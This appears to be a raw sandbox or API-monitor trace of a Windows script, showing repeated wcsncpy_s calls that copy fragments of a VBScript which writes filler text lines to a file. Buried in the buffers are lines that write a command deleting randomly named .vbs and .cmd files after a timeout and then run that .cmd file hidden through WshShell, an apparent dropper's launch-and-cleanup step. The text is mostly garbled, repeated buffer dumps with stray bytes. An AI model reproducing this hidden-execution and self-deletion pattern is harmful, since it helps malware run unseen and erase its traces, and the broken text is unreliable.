\");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\n￾th)^\");\r\n@ITextStream.WriteLine(\";sa^\");\r\n￾", _MaxCount=0x23 | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0155.906] wcsncpy_s (in: _Destination=0x249ca44d962, _SizeInWords=0x76, _Source="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\n￾th)^\");\r\n@ITextStream.WriteLine(\";sa^\");\r\n￾", _MaxCount=0x75 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n") returned 0x0 [0155.906] wcsncpy_s (in: _Destination=0x249ca44da4c, _SizeInWords=0x76, _Source="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\n￾th)^\");\r\n@ITextStream.WriteLine(\";sa^\");\r\n￾", _MaxCount=0x75 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n") returned 0x0 [0155.906] wcsncpy_s (in: _Destination=0x249ca44db36, _SizeInWords=0x76, _Source="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\n￾th)^\");\r\n@ITextStream.WriteLine(\";sa^\");\r\n￾", _MaxCount=0x75 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n") returned 0x0 [0155.906] wcsncpy_s (in: _Destination=0x249ca44dc20, _SizeInWords=0x24, _Source="ITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\n￾th)^\");\r\n@ITextStream.WriteLine(\";sa^\");\r\n￾", _MaxCount=0x23 | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0155.906] wcsncpy_s (in: _Destination=0x249ca44dc66, _SizeInWords=0x53, _Source="ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\n￾th)^\");\r\n@ITextStream.WriteLine(\";sa^\");\r\n￾", _MaxCount=0x52 | out: _Destination="ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\n") returned 0x0 [0155.906] wcsncpy_s (in: _Destination=0x249ca44dd0a, _SizeInWords=0x24, _Source="ITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\n￾th)^\");\r\n@ITextStream.WriteLine(\";sa^\");\r\n￾", _MaxCount=0x23 | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0155.906] wcsncpy_s (in: _Destination=0x249ca44dd50, _SizeInWords=0x24, _Source="ITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\n￾th)^\");\r\n@ITextStream.WriteLine(\";sa^\");\r\n￾", _MaxCount=0x23 | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0155.906] wcsncpy_s (in: _Destination=0x249ca44dd96, _SizeInWords=0x71, _Source="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\n￾th)^\");\r\n@ITextStream.WriteLine(\";sa^\");\r\n￾", _MaxCount=0x70 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\n") returned 0x0 [0155.906] wcsncpy_s (in: _Destination=0x249ca44de76, _SizeInWords=0x82, _Source="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\n￾th)^\");\r\n@ITextStream.WriteLine(\";sa^\");\r\n￾", _MaxCount=0x81 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\n") returned 0x0 [0155.906] wcsncpy_s (in: _Destination=0x249ca44df78, _SizeInWords=0x24, _Source="ITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\n￾th)^\");\r\n@ITextStream.WriteLine(\";sa^\");\r\n￾", _MaxCount=0x23 | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0155.906] wcsncpy_s (in: _Destination=0x249ca44dfbe, _SizeInWords=0x76, _Source="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\n￾th)^\");\r\n@ITextStream.WriteLine(\";sa^\");\r\n￾", _MaxCount=0x75 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n") returned 0x0 [0155.906] wcsncpy_s (in: _Destination=0x249ca44e0a8, _SizeInWords=0x76, _Source="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\n￾th)^\");\r\n@ITextStream.WriteLine(\";sa^\");\r\n￾", _MaxCount=0x75 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n") returned 0x0 [0155.906] wcsncpy_s (in: _Destination=0x249ca44e192, _SizeInWords=0x76, _Source="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\n￾th)^\");\r\n@ITextStream.WriteLine(\";sa^\");\r\n￾", _MaxCount=0x75 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n") returned 0x0 [0155.906] wcsncpy_s (in: _Destination=0x249ca44e27c, _SizeInWords=0x24, _Source="ITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\n￾th)^\");\r\n@ITextStream.WriteLine(\";sa^\");\r\n￾", _MaxCount=0x23 | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0155.906] wcsncpy_s (in: _Destination=0x249ca44e2c2, _SizeInWords=0x53, _Source="ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\n￾th)^\");\r\n@ITextStream.WriteLine(\";sa^\");\r\n￾", _MaxCount=0x52 | out: _Destination="ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\n") returned 0x0 [0155.906] wcsncpy_s (in: _Destination=0x249ca44e366, _SizeInWords=0x24, _Source="ITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\n￾th)^\");\r\n@ITextStream.WriteLine(\";sa^\");\r\n￾", _MaxCount=0x23 | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0155.906] wcsncpy_s (in: _Destination=0x249ca44e3ac, _SizeInWords=0x24, _Source="ITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\n￾th)^\");\r\n@ITextStream.WriteLine(\";sa^\");\r\n￾", _MaxCount=0x23 | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0155.906] wcsncpy_s (in: _Destination=0x249ca44e3f2, _SizeInWords=0x71, _Source="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\n￾th)^\");\r\n@ITextStream.WriteLine(\";sa^\");\r\n￾", _MaxCount=0x70 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\n") returned 0x0 [0155.907] wcsncpy_s (in: _Destination=0x249ca44e4d2, _SizeInWords=0x82, _Source="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\n￾th)^\");\r\n@ITextStream.WriteLine(\";sa^\");\r\n￾", _MaxCount=0x81 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\n") returned 0x0 [0155.907] wcsncpy_s (in: _Destination=0x249ca44e5d4, _SizeInWords=0x24, _Source="ITextStream.WriteLine(\" \");\r\n￾th)^\");\r\n@ITextStream.WriteLine(\";sa^\");\r\n￾", _MaxCount=0x23 | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0155.907] wcsncpy_s (in: _Destination=0x249ca44e61a, _SizeInWords=0x76, _Source="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nŶITextStream.WriteLine(\"TIMEOUT /T 10 & DEL C:\\ProgramData\\JHJKGHuggUGUGYYuyggg.vbs & DEL C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd & DEL C:\\ProgramData\\UIYUIYUIYuiyuiYUIYYuyty.vbs\");\r\n,ITextStream.Close();\r\n,IHost.Sleep(\"7000\");\r\n\x96IWshShell3.Run(\"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\", \"0\", \"0\");\r\n￿dows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\n￾th)^\");\r\n@ITextStream.WriteLine(\";sa^\");\r\n￾", _MaxCount=0x75 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n") returned 0x0 [0155.907] wcsncpy_s (in: _Destination=0x249ca44e704, _SizeInWords=0x76, _Source="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nŶITextStream.WriteLine(\"TIMEOUT /T 10 & DEL C:\\ProgramData\\JHJKGHuggUGUGYYuyggg.vbs & DEL C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd & DEL C:\\ProgramData\\UIYUIYUIYuiyuiYUIYYuyty.vbs\");\r\n,ITextStream.Close();\r\n,IHost.Sleep(\"7000\");\r\n\x96IWshShell3.Run(\"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\", \"0\", \"0\");\r\n￿dows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in 